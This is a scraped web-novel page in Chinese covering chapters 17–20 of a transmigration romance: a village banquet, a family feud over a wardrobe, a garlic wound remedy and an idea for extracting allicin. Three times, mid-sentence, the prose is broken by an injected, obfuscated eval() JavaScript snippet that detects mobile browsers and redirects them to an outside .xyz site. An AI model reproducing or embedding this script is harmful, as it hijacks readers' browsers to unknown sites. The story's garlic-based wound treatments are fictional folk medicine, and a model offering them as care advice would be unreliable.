他太过势单力薄了,别说跟皇家抗衡,就是村里随便一个无赖欺负到他头上,要是没有宝儿的兄长给他撑腰,他现在都没有还手之力。 古人只是科技落后,又不是傻,少信那些穿越小说里的开挂剧情,皇帝能容忍一个随时会对自己造成威胁的异类自由活着吗?运气好被关起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137250|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榨干所有知识和价值当一辈子笼中鸟,运气不好怎么死的都不知道。 方衍年多少被他爹妈耳濡目染了一些,不像普通大学生那么天真,自然知道其中利害。 他毙掉了所有能够造成武装威胁的想法,只能从日常用品方面考虑。 亏他关注了那么多硬核博主,竟然一个能用的都没有! 像是每天都会用到的牙刷,如今技术早就成熟了,只不过乡下没钱的人才用柳枝等随便凑合,宝儿就有一把马尾毛的刷牙子…… 香皂肥皂自是不必多说,这年头吃肉都吃不起,哪来那么多肥肉来做皂。 还有香水……古人制香的花样完全不比现代人少,什么香薰香膏香囊应有尽有,讲究这玩意儿的自己家里都有仆人会把衣服晒干之后熏上香味,比香水高档奢侈多了。 以及穿越者最鄙视的铜镜,可不像电视剧里面演的那般昏黄模糊,人家工匠精磨出来的镜面光滑到看不见颗粒,除了颜色泛黄,清晰度完全没问题。 等等,颜色…… 方衍年摸了下下巴,突然从床上坐了起来。 虽然铜镜能够照得清晰,但颜色是硬伤,还好他记得高中课本里的银镜反应,这个时代也有琉璃制品,他完全可以买一块天然水晶磨成的眼镜片镀银上去。 但新的问题又来了,即使他知道化学方程式,也弄不到原材料。 方衍年那个后悔啊,他怎么选的工科不是化学呢?从现在的条件来看,他手搓一把左轮竟然比弄一面镜子出来轻松。 老天这是要逼他造反啊! 对篡位没有半点兴趣的方衍年一头躺了回去,继续思考起来还有什么能够手搓的。 然后越回忆越绝望…… 不论他CAD画得再好,力学电工电子学和材料学考过多高的分,即使他能手搓蒸汽机内燃机甚至是发电机,他敢拿出来吗?不敢啊! 就不能让他莫名其妙开个金手指吗? 忧郁睡下的方衍年还不知道,他的第一桶金马上就要送到手里来了。 17.坑大房咯 乡下吃席正餐是在晚上,这也是一天之中最重要的一顿,毕竟白日里要下田劳作,中午大多在地里对付,晚上须得吃饱,否则没有吃早餐习惯的乡下人可挨不到中午那一口。 方衍年早起在家里煮了点米糊糊,清水青菜,腌肉割两片儿下来煮,就是很丰盛的一顿早餐了,虽比不上在沅家吃的,却也比村里大多数人家吃得好。 吃完早饭来到沅家,沅令舟已经在训狗了,前后不到一天的时间,两只小狗都学会了听指令扑咬,只需要指着某个东西喊一声“咬!”,小狗就会摇着尾巴扑上去啃咬。 方衍年看得稀奇,他那个年代,猫狗基本上都当宠物来养,但凡生个病送去医院比人看病还贵。 但这乡下的土狗,吃点儿剩菜剩饭,或者猪食都能养活,皮糙肉厚的还聪明,不仅能看家护院,还会捉老鼠、放鸡放鸭,难怪乡下有条件的家里都会栓一只。 沅令舟训狗的时候,家里的女人们也没闲着,昨日打的猪草和要送人的柴得捆好,还有那剥下来的兔子皮,因为经常鞣制皮子,就连小光都知道皮子剥下来得趁热将内里的油脂刮干净,用皂角水煮过一遍,再泡一晚上,才能把皮子洗干净。 兔子皮的油脂不多,拿着也轻,但不代表鞣制就简单。处理好的皮子用粗棒子面和草木灰泡进缸子里,每天翻面搓揉,还得把碱水煮热,这样热捂出来的皮子才能柔软,而鞣制的过程,需要持续足足一个月。 发酵了一个月的皮子,那味道可想而知,不然也不会有臭皮匠的说法了,沅家经常鞣制皮子,因此在后院搭了个露天的土灶,泡皮子的缸就放在灶台上面,不至于搬来搬去,味道也传不到前院。 过程虽然麻烦,但这般鞣制出来的皮子,能卖出不错的价格,否则谁舍得浪费那皂角和棒子面。 一家人忙碌了整个白天,下午的时候,才总算各自收工,带上那些个随礼去了大房那头。 因着二房最能干的两个女人没空过去帮忙,今天的席面还是请隔壁村的灶人来烧的。大房为了逞面子,硬是请了足足十桌,那灶人也没想到怎么临时还加了两张桌子,人手没带够忙不过来,那叫一个兵荒马乱。 往日村子里除了里正家以外最体面的一户人,今天闹了这么大个笑话,谁不乐意多看会儿。 沅家二房就是这个时候到的。 沅宁看着那鸡飞狗跳的后厨,心里就是一声冷笑。以往他阿娘和大嫂两个人就要顾这么多张席面儿,吃完了席都没空坐下休息半刻钟的,又要帮着热水洗碗。 今日那灶人带了三个徒弟来,都没把这席面给忙活开,足以见得以前大房都是怎么压榨他阿娘和大嫂的。 姜氏心软,看到这么忙碌的场面忍不住就要去帮忙,还好沅宁早有准备,唤了一声:“阿娘,礼还没送呢,不是说要给堂哥说几句喜庆话,讨个好彩头?” 他们一大家子九口人,可是每个人手上都带着礼来的。 阿爹手里提着的是三十个铜钱的红封,沉甸甸一大包,光这个就倍儿有面子了。 姜氏手里提着的一篮子鸡蛋,也是十分拿得出手。 大哥三哥一人扛着捆猪草,一人提着捆柴火,剩下一捆猪草因为二哥扛不动,就分了一小半给小光扛,大嫂手里则拿着几块鞣制好的皮子。 除了沅宁,就连方衍年都拎着两本书册,这般浩浩荡荡一群人,这般大的排场,可是吸引了现场所有人的目光。 姜氏被沅宁叫住了有些犹豫,但她又推辞不得,那些喜庆话总不能让小辈来说,她那丈夫向来不是个爱开口的,今日带的这些虽然不值什么钱,但宝儿说了,礼轻情意重,一定要让大房知道他们家的心意,免得一家人生了嫌隙。 眼瞅着帮忙的人来了,今日姜氏却没急着放下手中的东西帮忙,忙得脚不沾地的大伯娘一边在心里咒骂,一边让老公儿子去接待,二房可是答应了要带厚礼过来的! “大伯,堂哥!”沅宁拉着方衍年一同上前,甜甜地喊了人。 “宝儿身体好多了,大伯也就放心了。”大伯沅承岳是个体面人,关心完一番侄儿之后,这才跟刚看到方衍年似的,“方童生也来了,快快,这边坐!” 沅承岳看见二房的人大包小包拿了这么多东西过来,想把人引到边上些,却因为二房拿的东西太多了,想不醒目都不行。 “大哥。”沅宁的亲爹依旧是那副惜字如金的样子,只问候了一声,就把那沉甸甸的红封递了过去。 姜氏见状,连忙照着家里宝儿教的,说了一大串喜庆话,因着有方衍年帮忙润色,那喜庆话说得极其漂亮,连周围等着开席的其他人都传出阵阵叫好。 红封送完,又是姜氏拎来的一篮子鸡蛋,外加一篮子吉祥话。 然后是大儿子一家给打的猪草,二儿子送的皮子,三儿子送的一捆上好的柴火,和小哥儿的夫君送的几本有助科考的册子。 姜氏一个个介绍,每送一份礼,就是一大篇漂亮话,难怪宝儿出门之前让她先喝了一碗水,这话说完,席面都做好了,嗓子也说干了。 到主人家之后等着吃席这段时间原本是最难熬的,大家做了一天的活儿,前胸贴后背了,恨不得把桌子都吃下去,硬生生是被姜氏那通漂亮话说得听入了迷,竟是连八卦都不摆了,十来桌人,齐刷刷听着二房过来送礼。 等姜氏说完,还要夸一句二房用心又舍得送那么多好东西,这让因为二房没送几个钱的大房心中不满也没办法表现出来,狠狠吃了个闷亏。 偏偏沅宁还拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145279|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着方衍年往他堂哥那边凑,一个劲夸他堂哥学业好,怕不是一口气要考个秀才功名回来,把堂哥给夸得飘飘然。 这人一飘,就容易膨胀,随即就是一顿吹嘘自己多么受赏识了,就算学堂夫子要把女儿嫁给他,都因为要专心科举暂且推拒了。 沅宁就等着沅令阳吹这个牛呢。 如今沅令阳考上了童生,大房这头条件又好,家里几块肥田,底下又只有沅令阳一个儿子,嫁过来多享福啊! 大房这头趁机用这借口打发那些想要把女儿嫁过来的乡下人家,却被沅宁给钻了空子。 “呀,那堂哥暂且不娶亲的话,前些日子打的那口柜子不就用不上了么?” 若是用方衍年那个时代的说法,沅宁这语气可谓是茶香四溢,好一副为堂哥担忧的模样。 “到时候堂哥若是考上秀才,这般打的柜子,可配不上那些闺秀小姐。” 大房这头被夸得飘飘然,下一刻,就听沅宁感叹。 “可惜我过几日就要成婚,家里为我生病花光了家底,别说柜子,今儿个为了庆祝堂哥考上童生,连箱底都掏空了。” 大房一家脸上的笑容出现了一丝裂痕。 话说到这份上,全村的人都看着,这柜子要是不送出去,不仅显得他们大房小气,还跟咒他们家令阳考不上秀才似的。 大伯娘牙都要咬碎了,还得做出一副高兴大度的样。 “宝儿这般乖巧,大伯娘没生个女子哥儿的,一直都把宝儿当自家哥儿疼的。”大伯娘说着,还拉起了沅宁的手,“那柜子哪是给你堂哥打的,你这厢及笄,要成亲了,大伯娘能不给你添妆撑撑腰么。” 大伯娘的话一出来,在场一片哗然。 往日里二房经常朝大房送东西,村里谁不知道,今日这番对话若是发生在私底下,大房或许还能找借口推辞了,可现在所有人都听着,大房要是再吝啬这口柜子,怕是再不会有人和他们家来往,还要骂他们白眼儿狼。 更何况前脚才说暂且不给儿子娶妻,后脚就做了那么大一口娶媳妇的柜子抬进家里,不是往自己脸上扇巴掌么。 今日真是忙昏了头,才被二房摆了一道,那口柜子可是用上好的木头请县城里最贵的木匠打的,大房一家心都在流血,也不顾二房是怎么得知他们打柜子的事情,真是一眼都不想看到二房的人了。 除了沅宁和方衍年,沅家所有人都还在为那么大一口柜子说送给他们就送了而震惊,沅宁他爹更是红了眼眶,觉得大哥果然还是在乎亲情的。 沅宁不置可否,但坑了大房这么大一笔,他心情愉悦得眼睛都眯起来,像一只餍足的小猫咪,眉眼弯弯地对着方衍年眨了下眼睛。 看!给你挣的嫁妆,喜不喜欢? 18.偷吃 人来差不多了,灶人便将菜端上桌开了席,乡下不比城里讲究,女男哥儿不分席,只吃酒的汉子们单独坐。 沅家人私底下都不怎么喝酒,但这种场合还是得给兄弟撑场子,沅宁的阿爹、大哥二哥,都各自坐了不同的桌席去,和庄稼汉子们吃酒聊天,没多会儿就敲着筷子划起来拳,席面也跟着热闹起来。 沅宁一家人多,单独开了一张新的桌子坐下,他左手边坐着三哥,右边挨着方衍年,沅家人也照顾方衍年,知道他和村里人不熟,便让小光挨着方衍年,再过去是大嫂和阿娘,这样即便有人要来和他们喝酒,看着一桌子哥儿小子的,也不好多劝。 一家人刚坐下,陆续就有来得晚的人家到场。一般来说,一大家子来吃席的,都会早点入座,免得人坐满了,只能到处安插。 沅宁他们这桌子陆续来了一家夫郎带着儿媳,是瞅准了这桌不喝酒的多,再加上又没有崽子,去其他桌难免要跟着喝两盅。 姜氏正和招呼着二人坐下,就听到个熟悉的大大咧咧的声音,竟然是张屠户带着自家小哥儿来了。 张屠户来得晚,但家里就两口人,也不怕塞不进席面,他本人喝酒,见到才打过交道的沅家人,便把小哥儿塞过来,也是十分放心就把孩子托付给了沅家人。 “令舒,你挪挪位置,让紫苏挨着宝儿坐。”姜氏开口让三儿子挪个位置出来,也是十分照看张屠夫家这个哥儿了,让人挨着自家人一起坐。 张屠户家的这个小哥儿,年纪比沅宁还要大两三岁,不过张屠户家不缺钱,一年年给小哥儿缴着算赋,也不心疼钱。 紫苏这名字听起来挺文雅的,其实是一味药材名,但也不止是药材,乡下人也会把新鲜的紫苏当野菜吃,生食或者煮汤,就连孕妇感冒了不宜用药,也可以用紫苏煮鲫鱼来进行治疗。 可惜张紫苏这小哥儿和他那名字完全不搭,不禁个儿生得高挑,那张脸更是冷冰冰的,还不爱说法,听说第一次替他爹上人家家里杀猪的时候,提着那把杀猪刀,给人家家里的小孩儿都吓哭了,一家人也不敢怀疑他有没有杀猪的本事,生怕这小哥儿连人一起砍了。 沅宁身子弱,小时候就不怎么和村里的小孩儿一起玩,村里的孩子皮实,就连姑娘哥儿都敢下河摸鱼捉虾,沅宁也跟着玩过一次,泡了冷水第二天就发起了烧,感冒来了好些时日。 这样柔弱的哥儿自然不合群,得亏他三哥比他年长不了几岁,小时候没其他小孩儿同沅宁玩,他三儿就抱着他识字,两兄弟在院子里玩,因此沅宁也最是和他三哥亲近。 沅宁打量了一下坐到自己身边的哥儿,这人也不和他打招呼,闷不吭声坐下,似乎是刚杀猪赶回来,身上还有些血腥气,不过因为小哥儿比较爱干净,杀完猪又用皂角清洗干净,那点子味道就被掩盖住了,只有淡淡的皂角香。 “紫苏哥哥,我听你阿爹说你也会杀猪,好厉害呀。” 张紫苏连个眼神都没分给他,只夹了一筷子菜往碗里送,隐约嗯了一声,显然是想搭理沅宁。 但沅宁是谁,连和小狗都能聊天,他心里好奇,就接着问:“那么大的猪,你一个人按得过来吗?” 因为杀猪的场面比较血腥,沅宁还从来没见过杀猪什么样,以前一直以为杀猪就是屠户自己按着猪就把脖子抹了,听说有哥儿也会,便止不住好奇。 张紫苏十分不耐烦地深吸了一口气,没骂他,冷冷开口:“主人家会找人来按猪,不用我按。” “哦……”沅宁小小蔫儿巴了一下,又要开口,就被他哥给叫住了。 “宝儿。” 沅宁吐了吐舌头,把偷偷朝着油炸小黄鱼儿的筷子拐了个弯,夹了一筷子酱鸭子吃。 他身体还未好彻底,得忌口辛辣燥热或者寒凉的东西,所以他三哥才挨着他坐监督他。 原本想着他和三哥中间还隔着个人呢,正打算浑水摸鱼偷偷尝一口。 他好久没有吃酥酥脆脆的炸鱼了,实在馋得慌,奈何他哥一直盯着他! 老实下来的沅宁决定一个时辰都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149587|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不理他哥,嗯!就这么决定了。 席面开始之后,除了喝酒的几张桌子,说话的人就变少起来,大家都在低头吃肉。 别说,这沅家大房还真是大方,一桌九个菜,有足足四道肉菜!乡下人吃席面一般七到九个菜,肉菜也只有一两道,别的顶多沾点儿肉渣子,或者拿猪油来煎,就很是有排面了。 今儿个的四个荤菜,鸡鸭鱼肉,一道鸡汤,一道酱鸭,一道油炸小鱼儿,一道红烧肉,足足三个硬菜,吃得整个席面都安安静静的,所有人都在往嘴里送吃的。 倒是沅家人比较矜持,主要是最近隔三差五都会跟着宝儿吃顿好的,这两日更是有张屠户训狗送来的肉,连着吃了几天肉,竟然都没那么馋肉味了。 沅宁也是吃了几筷子就饱了,那么点儿食量,和一旁的张紫苏比起来,他吃的不过人家吃的一筷子肉多。 沅宁正要和张紫苏搭话,一个村里的婶子看见他们这桌菜剩得多,就将自家大胖小子给塞过来,托给他三哥照看。 沅令舒在乡医那里当学徒有些年,平日里乡医出门就留他看门,乡亲们有个头疼脑热的也会找他,沅令舟为了个弟弟调理身体,读的书多,身上多几分书卷气,又脾气好,村里人就喜欢找他帮忙。 这不,吃饭吃得好好的,就被塞了个胖小子过来,沅令舒哭笑不得地去给小胖墩儿找了条凳子。 沅宁原本是想问张紫苏给小狗起好名字没,见到他哥没空搭理他,恶向胆边生,以迅雷不及掩耳之势,夹了一筷子炸鱼。 “你哥不是不让你吃么。”不怎么开口的张紫苏冷冰冰说。 咬着小鱼尾巴的沅宁跟小猫似的,叼着小鱼干,对着张紫苏眨眼睛卖了个萌。 张紫苏并不吃这套,胳膊肘一拐别了下沅令舒。 “你弟偷吃炸鱼。” 沅宁:!!! 沅宁和他哥大眼瞪小眼。 沅宁呲溜一下把小鱼干嘬进嘴里,嚼嚼嚼嚼嚼。 一桌子人笑得直不起腰。 19.牵手手 沅令舒能怎么办,沅令舒又不能伸手把炸鱼从宝儿嘴里掏出来,只不痛不痒地威胁了一句:“回去就让你生嚼紫苏。” 莫名其妙夹在中间被cue的张紫苏:? “你不要恩将仇报。” 沅令舒这才反应过来,这儿还坐着个紫苏。 张屠户家里的这个小哥儿身体好,没见他去医馆里拿过几次药,再加上男子和哥儿有别,总惦记人家哥儿女子的名字和耍流氓有什么区别,顶多喊一句张屠户家的,万一被有心之人听到,屠户的名号也很是唬人,不至于张紫苏这没个兄弟帮衬的小哥儿遭二流子惦记。 至于沅令舒为什么提到让沅宁嚼紫苏,纯粹是个巧合。 这个时节正是紫苏盛开的时候,这种植物跟野草一样好养,再加上紫苏药性温和,既能解表散寒又能祛湿解暑,是买不起药的乡下人常用的药物。 最关键的是,宝儿吃不惯紫苏的味道,用这种既对身体好又有威慑力的借口威胁就刚刚好。 谁承想有人拿紫苏当名字的。 沅宁原本还因为回去要嚼那涩口又发苦的叶子郁闷呢,一看他哥吃瘪,顿时就看好戏似的重新精神起来。 确认是亲兄弟没跑了。 “小沅大夫。”可惜一个庄稼汉子的出声打破了为来得及解开的尴尬。 原是村尾的一个农户前两天下地除草不小心割伤了手臂,原本想着不是什么大事,没想几天过去伤口不仅没结痂,还有些肿胀发溃,不算深的伤口红彤彤一片,面上覆着一层黄色的液体,看上去快要流脓了。 沅令舒一看那伤势,眉心就蹙起来:“怎的这般严重了都不去看大夫?” 说着,沅令舒放下了筷子,微微掰开创口检查了一番。 老实巴交的庄稼汉子晒得黑黢黢的面皮一红:“着实是……这距离秋收还有段时日,家中实在是拿不出药钱。” 不然也不会私底下跑来找沅令舒给帮忙看看,要是有钱,谁不愿意抓药呢?那伤口随着天气见热日日痛痒难耐,着实是没了办法。 沅令舒当然知道这些状况,但乡医开的不是善堂,可以不收诊金,却不会垫付药钱,每年都有许多看不起病的乡下人自己去山里挖点草药回去硬挨。 挨得过去皆大欢喜,挨不住的即使砸锅卖铁,估计也付不起那时所需的昂贵药钱了。 就连沅宁前些时间落水生病,沅家那么几口会挣钱的,都掏空了家底,更别说普通人家。 不过,村民们也不傻,自从村医收了沅令舒当徒弟之后,早早就盯上了这个学徒。 乡医不是本乡人,但沅令舒是啊!一些村里走得近的叔伯婶子们私底下也会让沅令舒帮忙分辨,自己摘的草药对不对。 那乡医一毛不拔的,村里人多少都有些怕他,倒是愿意来麻烦沅令舒。 沅令舒一开始也不会,后来被问得多了,不知不觉也见识得多、熟练起来,后面更是自己学了医术,告诉他们不少更便宜廉价的方子。 例如以前当野菜都很少有人摘回去吃的紫苏,就是沅令舒给“带火”的,这年头谁没个头疼脑热的,怎么说是味药,满大山都是,不仅夏季会摘来吃,也会晒干一些冬季吃,村里不少小病小痛的都因此减少,倒是越发信服沅令舒的医术了。 许多实在看不起病的,例如今天这个庄稼汉子,就会私底下找沅令舒瞧瞧。 沅令舒也知道乡亲们的家庭情况,他不好苛责,只让小光去找了块尖而薄的石头洗干净后火烤一番,将伤口上凝结的黄液给刮掉,简单用席面上的酒浇了些上去,把伤口清洗干净之后,又找大伯娘要了一瓣蒜,细细切成薄片敷在了伤口上。 这不要钱的土法子,光看着都让人心惊肉跳地痛,那庄稼汉额头上都浮出一层汗了,硬是一声没吭。 “回去之后两三个时辰换一次蒜片敷在伤口上,不要用水冲洗,若是伤口继续溃烂,一定要去大夫那抓药,否则伤口流脓,手臂废了都是小事,严重要危及性命的。” 庄稼汉子千恩万谢,也没留下来吃席,早早就归家去了。 不仅沅宁他们一桌子人看着稀奇,就连大房这头、村里其他人都看着稀罕。 还没听说大蒜能拿来敷伤口的! 沅令舒也不作过多解释,他看的医书多,知道不少奇方土方,但某些方子成为不了主流,自然有一定的道理。 不到万不得已,还是用正经的药材比较好,毕竟一时图便宜,耽搁了治疗,恐怕花钱都救不回来,村里不是没有因为一道小口子没及时医治就死人的事情发生。 沅令舒一顿劝,才打消了大多数人的念头,谁也不会为了那十几文的药钱,拿自己的命去赌不是? 沅宁趁着他哥被乡亲们缠着说话,就连告他黑状的紫苏都听得入迷,偷偷又夹了小鱼干吃,酥酥脆脆裹着油香面衣的鱼仔那叫一个美味! 平日里就看他阿爹他们吃鱼嚼骨头吞,还说味道香,他只有吃油炸小鱼儿的时候才能品尝一番滋味。 只不过在了吃完第三条小鱼干,又要下筷子的时候,就被方衍年给制止了。 “再多吃要上火了。” “好吧……”沅宁解了馋,虽然没吃过瘾,心里头却是高兴。 所有人都盯着他哥呢,只有年哥哥最关注他的身体! 沅宁不是喜欢被人太过管束 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两个人红着脸各自看向一边,沅宁拽着的衣角忽的往下垂去,他的手跟着下坠,一颗心还没因为误会对方是想甩开他而下坠,就感觉手指被什么温暖的东西碰了碰。 方衍年将两人的手藏在衣袖下面,轻轻勾起他的手指,又一点点把沅宁的手给裹进掌心里。 仿佛有什么东西被填满,从没喝过酒的沅宁却头一次感受到喝醉的感觉,整个人都飘飘然、晕乎乎的。 直到席散了回到家,沅宁才想起来手还没撒开,都不知道爹娘哥哥们看了他多久的笑话。 “小心脚下。”方衍年说着,便给他解了围。 这不是散席之后天色黑了嘛,方衍年怕他摔跤所以牵着他走,怎么能算逾矩呢? 一家人只当没看破,见两人依依不舍地松手,才让沅令川把方衍年给送回去。 方衍年这时候也想起还有正事想和沅令舒商量,他跟沅令舒年纪相仿,但还没和沅宝儿成亲,便跟着宝儿一起喊沅令舒三哥。 “什么事?”沅令舒的脾气好,平日待人温和,被方衍年单独叫住,态度却冷下几分。 众所周知,沅宁身体不好,他又是医生,他和方衍年没什么交集,方衍年想和他商量,不得不让他联想到对方是不是要问有关宝儿身体的事情。 “今晚的席上看你用大蒜治疗伤口,倒是让我想起此前在一本杂书上看到的……” 夜色浓重,方衍年并没有注意到这细微的差别,他琢磨了一下用词,却还是想不到更精准的描述,最终选择用原文,感觉显得比较高级,“萃取法。” 20.英年早婚 听完方衍年的话,沅令舒的态度不着痕迹地缓和几分,随即又被方衍年提出的新鲜字眼吸引了注意力。 “这萃取法……是何法?” 方衍年微微一笑:“你可以理解为取其精华,将大蒜里面有药效的部分浓缩到能有显著疗效的办法。” 得益于家里有钱,父母又忙着赚钱和度蜜月,方衍年从小到大家教没断过,寒暑假更是都在国外度过,参加各种夏令营、少年班,方衍年在知识储备和动手能力这块儿没得说。 之前躺在床上琢磨了半天都没琢磨出个所以然,完全是因为他会的那些都太过“高端”了,甚至放在他那个时代,一般家庭的孩子都接触不到,更别说放在科技更加落后的古代,也难怪他施展不开拳脚。 知识就像是日积月累储存在身体里的血肉,或许平日里注意不到,但它们一直都在那里。 就像今日,若不是看到沅令舒用大蒜治病,他哪里想得起这种最便宜大碗又提取简单,还拥有不俗治疗效果的抗生素——大蒜素。 在这个“柴米油盐”柴字打头的时代,就能看出柴火在日常生活中的地位,不论烧火做饭还是取暖,几乎日日都要消耗,开水对于平民百姓来说可是“奢侈品”。 大多数人日常生活喝的都是生水,像是之前方衍年试图徒步去县里,半路渴了到乡下人家讨水喝,人家给的就是生水,而城里的茶摊子一杯水都要两三文,那可都够买一两个鸡蛋了。 再干净的生水,没有通过煮沸杀菌,吃了都容易生病。 托宝儿体弱的福,他一喝生水就生病,沅家才养成了喝水都要烧开的习惯,这也是他们家为什么烧柴这么快的原因之一。 可村里其他人就没沅家这么奢侈了,发烧拉肚子那都是常见的事情,甚至很多人都不当回事儿,实在严重了,就吃点土灶底下的黄土止泻,更多都是硬抗。 这个时代虽然也有部分医者察觉了细菌和真菌的存在,但依旧没什么深入的研究,即使有记载大蒜能够治疗“疮疡”,也是在极个别偏门的医书中。 所谓疮疡、痈疽、热症,中医认为都是“邪毒”导致的,这里的邪毒就是细菌真菌一类的统称。而大蒜提取出来的大蒜素,正好就能针对伤口的细菌感染,还能治疗喝生水导致的痢疾,细菌性感冒导致的百日咳和伤寒。 不仅如此,大蒜素对真菌也有一定的抑制作用,还能杀菌杀虫,掺进饲料里面喂鸡鸭猪鱼,不仅家禽家畜不容易生病,还能提高产肉量,实在是居家旅行必备之良药啊! 方衍年用这个时代的人能听懂的词汇简单说了一下大蒜素能够应用的场景,把沅令舒给唬得一愣一愣的。 但因为大蒜本身就是沅令舒在医书中看到过的,所以并没有对方衍年说的话有多少怀疑,只觉得还是书香门第读的书多见识广,可惜方家的家产,连房子都给方衍年拆了只剩两间,那些书自然也不剩多少,当然是没机会能拜读了。 沅令舒一阵叹息,却又清醒,得亏方衍年能记得这么清楚,便想问一问具体的“萃取法”是怎么个办法。 这还真是问到方衍年了,大蒜素的萃取剂在现代来说很好找,用乙醇就可以,但古代的粮食酒的话……那大蒜素的溶解度本身就不高,再用低度酒,恐怕效果就更差了。 但这却难不到方衍年,虽然没有有机溶剂,还可以使用“油”这种易获取且能发挥类似有机溶剂作用的来萃取,效果虽然没那么好,但也比下有余了。 大蒜本身并不含大蒜素,新鲜大蒜遭到创伤后会催化蒜氨酸生成大蒜素,因此沅令舒看到的方子才是大蒜切片或者捣碎之后加入蜂蜜敷于伤口上。 蜂蜜对于农户来说也很奢侈,所以沅令舒用的便是切片的办法,毕竟也是第一次用,不知道剁碎的效果更好也情有可原。 方衍年并不想出风头,当时便没说,毕竟,即使是早就知道大蒜可以疗伤的沅令舒,都不会轻易相信方衍年说的全部疗效。当时在夏令营制取大蒜素的条件方衍年也拿不出来,他当然不会冒这个险在现场纠正了。 村里的村民又不是小说里的NPC,哪能方衍年说什么就信什么。 果然,在方衍年说完萃取的方法之后,沅令舒就更加怀疑了。 萃取大蒜素的办法实在太过简单,只需要把大蒜去皮尽量捣碎,然后加油没过,密封放置几天,就大功告成。 说实话,乡下人谁没用过大蒜这种调料,有时候切好的大蒜没用完,都可以拿油泡一泡,这不就是方衍年所说的“萃取法”? 真不是沅令舒怀疑方衍年的话,听着着实像是在捉弄人。 但沅令舒还是打算给方衍年这个面子,不就是大蒜捣碎了泡油里么,没有效果拿来炒菜凉拌也是一样的,也不浪费。 沅令舒一副纵容不懂事小孩儿办家家的表情,并没有对这件事抱太多希望。 方衍年也不好表现出太过强硬的态度,毕竟换了萃取剂,他也不是完全有把握,因此给自己挽了个尊:“其实用油也是下下之法,如果用特别烈的烈性白酒来代替香油,效果会好很多。” 可惜这个时代,一般的粮食酒也就十几度,酒肆里卖的大多还掺了水,实在不是提取的…… “你是说蒸馏酒?” 方衍年:?! 一下子听到这么个现代化的词,方衍年差点以为自己穿越了。 沅令舒看他这副惊讶的模样,也不稀奇:“你不喝酒或许不清楚,你说的那种烈性的白酒,应该是经过蒸馏的酒,酒性十分烈,通常需要兑水才能饮用。酒肆里卖的最便宜的酒,就是这种兑水的蒸馏酒,一两只要几文钱。” 方衍年再次大受震撼,古代人除了没有电,生活过得也没有他想的那么差啊? 他竟然被一个古代人科普了蒸馏是什么! “如果有那种没兑过水的……蒸馏酒的话,萃取出来的大蒜素应该能达到我说的效果。” 沅令舒也不说信是不信,但却答应他抽空会去镇上给他弄些来。 方衍年提议可以先用油萃取一次试试,效果虽然没有用酒好,但治今日那汉子的伤口足够了。 家里芝麻油和清油都有,大蒜也有一些,方衍年也不打算弄太多,大蒜素并不稳定,高温或者氧化都容易让之失效。 他只是在用芝麻油还是菜籽油之间犯了难,还是沅令舒建议用香油的,因为芝麻油对伤口愈合也有一定的功效,不论大蒜和香油哪个都能用在伤口上,即使胡来也出不了大错。 方衍年很是佩服沅令舒的医术,这个就叫专业! 两个人窸窸窣窣在院子里弄到了 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方衍年听懂了,这是先结婚登记后办婚礼的意思,别看这是古代,户籍比现代的身份证还重要,黑户别说住行困难,被查出来严重可是要充军的。 原本还因为搞了个抗生素出来有些兴奋的方衍年像是突然被浇了盆冷水。 前几天还是刚上大二的大学生突然之间就要和一个没见过几面的“哥儿”结婚。 虽然只短短接触过几次,方衍年却并不特别抵触。 在现代他虚岁二十都没遇见过喜欢的人,古代车马慢,认识的人只会更少,宝儿愿意嫁给他,对他来说反而是个机会,是他占了大便宜。 方衍年胡乱应付了几句,直到沅令舟离开,他坐在床上看着窗外的月光,依旧有些回不过神。 他摸着自己的心,知道自己喜欢这个相处并不太久的沅宝儿。 在他的观念里,闪婚是种不负责任的行为,可这里的习俗,若是长久拖着不结婚,或者最后解除婚约,反而会对宝儿造成更大的伤害。 即使知道自己这样打着为对方着想的幌子的行为很卑劣…… 第二日,方衍年到沅家的时候,宝儿站在门边,并没有像往常那样出来。 直到方衍年晃了晃自己手中的户籍,那张看上去像是在无声落泪的脸上瞬间充满了喜悦,穿戴整齐的人一把扑进了方衍年的怀里。 早饭都还没用,两人就先去了里正家里进行登记。 “宁哥儿来了。”里正娘子热情地招待沅宁进门。 村里有人成亲是好事,尤其是沅宁和方衍年这种到了婚嫁年纪的,村里单身汉多了,里正还要遭上面责问。 “宁……哥儿?”方衍年有些怔愣,他甚至左右看了看,院子里除了他们三个,并没有别人。 “方童生,快进来呀。”里正娘子站在门口催促。 里正也估摸着这几日俩孩子会过来,连登记的册子都放在最外头,直接就翻到了沅家二房的那几页。 方衍年是入赘,不仅户籍要落过来,两人的信息也要进行更新。 